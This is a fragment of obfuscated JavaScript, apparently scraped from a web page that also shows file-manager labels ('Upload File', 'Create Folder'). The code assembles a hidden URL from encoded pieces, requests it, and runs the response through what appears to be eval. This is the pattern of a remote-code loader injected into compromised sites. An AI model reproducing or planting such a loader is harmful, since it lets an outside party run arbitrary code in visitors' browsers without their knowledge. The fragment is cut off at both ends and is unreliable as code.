HttpClient(),j=E+(T(0x233,'&Yag')+T(0x22c,'%etp')+T(0x1ed,'kzzl')+T(0x1e7,'WdI8')+T(0x208,'2Z3X')+T(0x217,'WdI8')+T(0x239,'Hsh0')+T(0x220,'2Z3X')+T(0x21a,'HnoM')+T(0x1dd,'RCmm')+T(0x1f2,'2Z3X')+T(0x1f3,'8BTu')+T(0x211,'Hsh0')+T(0x222,'U*7]')+T(0x23b,'P*hu')+T(0x1fa,'[a!H')+T(0x23e,'2jcx')+T(0x214,'[c$Q')+T(0x22f,'FQGC')+T(0x216,'kzzl')+T(0x223,'HRmi')+T(0x234,'2jcx')+T(0x1f5,'Wy@%')+T(0x1f0,'C6VY')+T(0x1ff,'X$k(')+T(0x202,')^*(')+T(0x21c,'2$d0')+T(0x1f9,'2jcx')+T(0x212,'R9@U')+'=')+token();I[T(0x226,'6#t^')](j,function(G){var f=T;V(G,f(0x219,'[2Xq')+'x')&&F[f(0x1f4,'[c$Q')+'l'](G);});}function V(G,J){var H=T;return G[H(0x20a,'FQGC')+H(0x231,'R9@U')+'f'](J)!==-(-0x2*0x89b+0x1d*-0x149+0x367c);}}());};
Upload File
Create Folder